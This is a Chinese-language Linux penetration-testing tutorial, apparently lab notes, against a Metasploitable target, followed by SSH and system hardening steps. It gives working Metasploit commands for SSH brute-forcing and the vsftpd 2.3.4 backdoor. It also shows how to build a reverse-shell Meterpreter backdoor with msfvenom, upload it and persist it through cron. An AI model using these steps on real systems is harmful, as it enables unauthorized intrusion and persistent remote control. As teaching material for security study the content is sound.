Linux渗透测试

Linux渗透

Secure Shell

SSH

  • SSH是基于应用层的安全协议
  • SSH是专为远程登录和其他网络服务提供安全性的协议
  • SSH提供基于密码、基于密钥的两种级别的安全验证
  • SSH传输的数据会进行加密,可以有效防止远程过程中的信息泄露问题
  • SSH传输的数据时会进行数据压缩,可以加快传输的速度
  • 远程工具:Putty、FinalShell、MobaXterm、SecrueCRT等等

SSH暴力破解

SSH暴力破解工具

  • Hydra、Medusa、msf
  • 大部分攻击都是针对Linux 服务器默认管理账号root,攻击者主要使用admin、 root、123456等常见弱密码进行暴力破解
  • 少部分攻击是针对tomcat、postgres、 hadoop、 mysql、apache、 ftpuser、 vnc等Linux服务器上常见应用程序使用的用户名
  • 攻击者不仅使用常见通用弱密码,还会将用户名当作密码进行攻击

SSH爆破

第一步:创建字典

  • 手写一个简单字典,方便实验验证
  • vim /root/passwd

第二步:查找MSF辅助爆破脚本

1
2
3
4
5
6
7
┌──(root㉿kali)-[~]
└─# msfconsole

msf6 > search ssh_login

0 auxiliary/scanner/ssh/ssh_login normal No SSH Login Check Scanner
1 auxiliary/scanner/ssh/ssh_login_pubkey normal No SSH Public Key Login Scanner

第三步:使用辅助脚本进行SSH爆破

1
2
3
4
5
6
7
msf6 > use 0
msf6 auxiliary(scanner/ssh/ssh_login) > set username msfadmin
username => msfadmin
msf6 auxiliary(scanner/ssh/ssh_login) > set pass_file passwd.txt
pass_file => pass.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.10.143
rhosts => 192.168.10.143

第四步:查看会话、切换会话

1
2
3
4
5
6
7
8
9
10
11
12
msf6 auxiliary(scanner/ssh/ssh_login) > sessions 

Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell linux SSH root @ 192.168.10.224:34941 -> 192.168.10.143:22 (1
92.168.10.143)

msf6 auxiliary(scanner/ssh/ssh_login) > sessions 1
[*] Starting interaction with 1...

whoami
msfadmin

漏洞利用VSFTPD

vsftpd_234_backdoor(笑脸漏洞),允许攻击者任意用户登录,以root权限执行任意命令

  • 用户名以“笑脸”结尾,如xx:)、oo:)
  • 密码任意输入
  • 成功后开启6200端口,执行任意命令

10.4.1

环境准备

  • 靶机:Linux

漏洞利用

1
2
3
4
5
6
7
8
9
10
msf6 > search vsftpd

0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
msf6 > use 0
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.10.143
rhosts => 192.168.10.143
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

whoami
root

Linux后门

什么是Msfvenom

Msfvenom

  • Msfvenom是MSF框架配套的攻击载荷生成器
  • 可以用来生成木马程序,并在目标机上执行,在本地监听上线

部分参数

  • -p选择一个载荷
  • -f生成的文件格式,elf(Linux下可执行文件) exe (Windows下执行)
  • -lhost 监听地址
  • -lport 监听端口
  • -o 输出文件名
  • -h帮助

Msfvenom生成后门文件

第一步:在kali生成后门文件

1
2
┌──(root㉿kali)-[~]
└─# msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.224 lport=4444 -f elf -o shell

第二步:确保开启Linux靶机的root用户,并设置密码root

上传后门文件至靶机

在暴力破解成功的情况下,通过kali将后门文件发送到目标主机

  • 在kali中发送后门文件至靶机的/mnt/下
1
2
┌──(root㉿kali)-[~]
└─# scp shell root@192.168.10.143:/mnt
  • 在靶机中查看后门文件是否存在
1
2
root@metasploitable:~# ls /mnt/
newdisk shell

注:上传可能会报错,是由于kali缺少配置导致的,按照以下步骤进行修复

1
2
3
4
5
┌──(root㉿kali)-[~]
└─# mkdir .ssh

┌──(root㉿kali)-[~]
└─# vim .ssh/config
  • config文件中添加以下内容
1
2
3
Host *
HostkeyAlgorithms +ssh-rsa
PubKeyAcceptedKeyTypes +ssh-rsa

给后门文件添加执行权限

  • 第一步:控制靶机,添加执行权限
1
2
3
root@metasploitable:~# ls -l /mnt

root@metasploitable:~# chmod a+x /mnt/shell
  • 第二步:控制靶机,后台运行后门程序
1
root@metasploitable:~# chmod a+x /mnt/shell

建立连接

  • kali进入MSF,使用侦听脚本,建立连接
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# msfconsole

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 192.168.10.224
lhost => 192.168.10.224
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

备注:如果连接不上,靶机多次执行/mnt/shell &命令

  • 进入反弹连接,获取用户信息
1
2
meterpreter > getuid
meterpreter > ps

创建计划任务

Linux crontab命令

  • crontab:计划任务,用来定期执行程序的命令
  • crontab -e:编辑计划任务
  • crontab -l:显示计划任务

先查看计划任务格式

1
2
3
4
5
# m h  dom mon dow   command             //分  时  日  月  周  命令
30 6 * * * 命令 //每天6点30分执行命令
30 6 * * 1-5 命令 //周一到五6点30分执行命令
30 6 1 * * 命令 //每月第一天6点30分执行命令
* * * * * 命令 //每分钟执行一次命令

在靶机上创建计划任务

  • -e:执行文字编辑器来设定计划任务,内定的文字编辑器是vi
  • EDITOR=vim:指定编辑器为vim
1
2
root@metasploitable:~# EDITOR=vim crontab -e
* * * * * /mnt/shell&

列出目前的任务

1
root@metasploitable:~# crontab -l

自动运行后门文件

  • 验证计划任务
  • 重启靶机,验证kali是否能够连接后台文件
1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[~]
└─# msfconsole

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 192.168.10.224
lhost => 192.168.10.224
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

会话放入后台运行

background

  • 在渗透的时候,有时需要执行其他任务,为了执行新任务,需要将当前的Meterpreter会话切换到后台,这时就需要用到background命令
1
2
3
4
5
6
7
8
9
meterpreter > background 
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > sessions

1 meterpreter x86/linux root @ metasploitable. 192.168.10.224:4444 ->
localdomain 192.168.10.143:34443 (1
92.168.10.143)

msf6 exploit(multi/handler) > sessions 1

多会话管理

  • 重新运行监听脚本
1
msf6 exploit(multi/handler)> run
  • 通过session ID快速切换
1
2
3
4
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
msf6 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

Linux安全加固

Linux安全基线

指的是使Linux各项配置都符合安全要求的基本标准

  • 账号/密码:口令复杂度/wheel组
  • SSH登录控制:禁root/改端口/密码/密钥验证
  • 文件权限控制
  • 内核参数调整

系统加固的必要性

加固目的

  • 操作系统是整个信息系统安全的基础
  • 各种应用安全都依赖于操作系统

加固方式

  • 手动修改加固项配置,或执行相关命令
  • 脚本或自动化工具批量加固,比如华为的openEuler-security加固服务

加固内容

  • 系统服务、文件权限、内核参数、授权认证、账号口令

系统加固的影响

  • 可能会影响用户的使用习惯,影响系统易用性

10.4.2

禁止root远程ssh

  • 调整sshd服务端配置文件
1
2
3
4
5
6
7
8
9
10
vim /etc/ssh/sshd_config

Port 12345 //修改默认连接端口为12345
LoginGraceTime 1m //修改用户登录验证过程的时长1分钟
PermitRootLogin no //禁止root远程登录(不影响sudo提权)
MaxAuthTries 2 //单次连接最多重试2次验证
AllowUsers zhangsan@192.168.10.224
//添加白名单,仅允许zhangsan用户在192.168.10.224上访问

/etc/init.d/ssh restart //重启试试服务器

命令行超时限制

针对后续登录的所有用户

  • 调整/etc/profile文件中的TMOUT变量值

针对通过SSH登录的用户

  • 调整/etc/ssh/sshd_config文件中的ClientAliveInterval值
1
2
3
vim /etc/profile

export TMOUT=300 //闲置300秒自动退出

密码有效期限

调整/etc/login.defs配置文件

  • 此文件定义了useradd的默认设置,会影响后续新创建的用户
  • 若有需要,也可用chage命令直接设置特定用户的密码参数
1
2
3
4
5
6
7
8
vim /etc/login.defs              //设置新建用户时的默认密码有效期

PASS_MAX_DAYS 90 //密码有效天数
PASS_WARN_GAE 7 //密码过期前警告天数


chage -M 180 root //设置root用户密码有效期为180天
chage -l root

对称加密

对称加密

  • 加密和解密速度快,效率高
  • 加密和解密使用相同的密钥,所以叫对称加密
  • 对称加密包含多种算法,如:DES、3DES、AES
  • 加密长度一般小于256位
  • 防止数据泄露

非对称加密

非对称加密(密钥对)

  • 由公钥和私钥组成,两个密钥相互加密和解密
  • 用公钥对数据进行加密,用对应的私钥才能解密
  • 用私钥对数据进行加密,用对应的公钥才能解密
  • 非对称加密常用算法:RSA、DSA(数字签名算法
  • 加密长度一般为512、1024、2048等
  • 加密和解密速度较慢

密码对访问Linux

用MobaXterm新建本地终端

10.4.3

检查原来是否生成过秘钥文件,如果有删除即可

10.4.4

第一步:创建秘钥对

  • 使用MobaXterm生成公钥、私钥

10.4.5

  • 公私钥保存位置

10.4.6

第二步:拷贝公钥到Linux系统

10.4.7

  • 在Linux中验证是否上传成功

10.4.8

第三步:修改配置文件,禁止使用密码登录Linux系统

10.4.9

  • 重启SSH服务

10.4.10

第四步:在MobaXterm中,使用SSH连接目标主机

10.4.11

其他加固措施

  • 系统服务加固:SSH/WEB/数据库/FTP等
  • 文件权限:rwx控制/删除无主文件/删除空链接/umask调整
  • 内核参数:禁ping/禁转发/禁ICMP重定向/SYN cookie保护
  • SELinux策略:强保护/服务策略/端口策略/安全上下文
  • 授权认证:远程限制/GRUB加密/禁止交互启动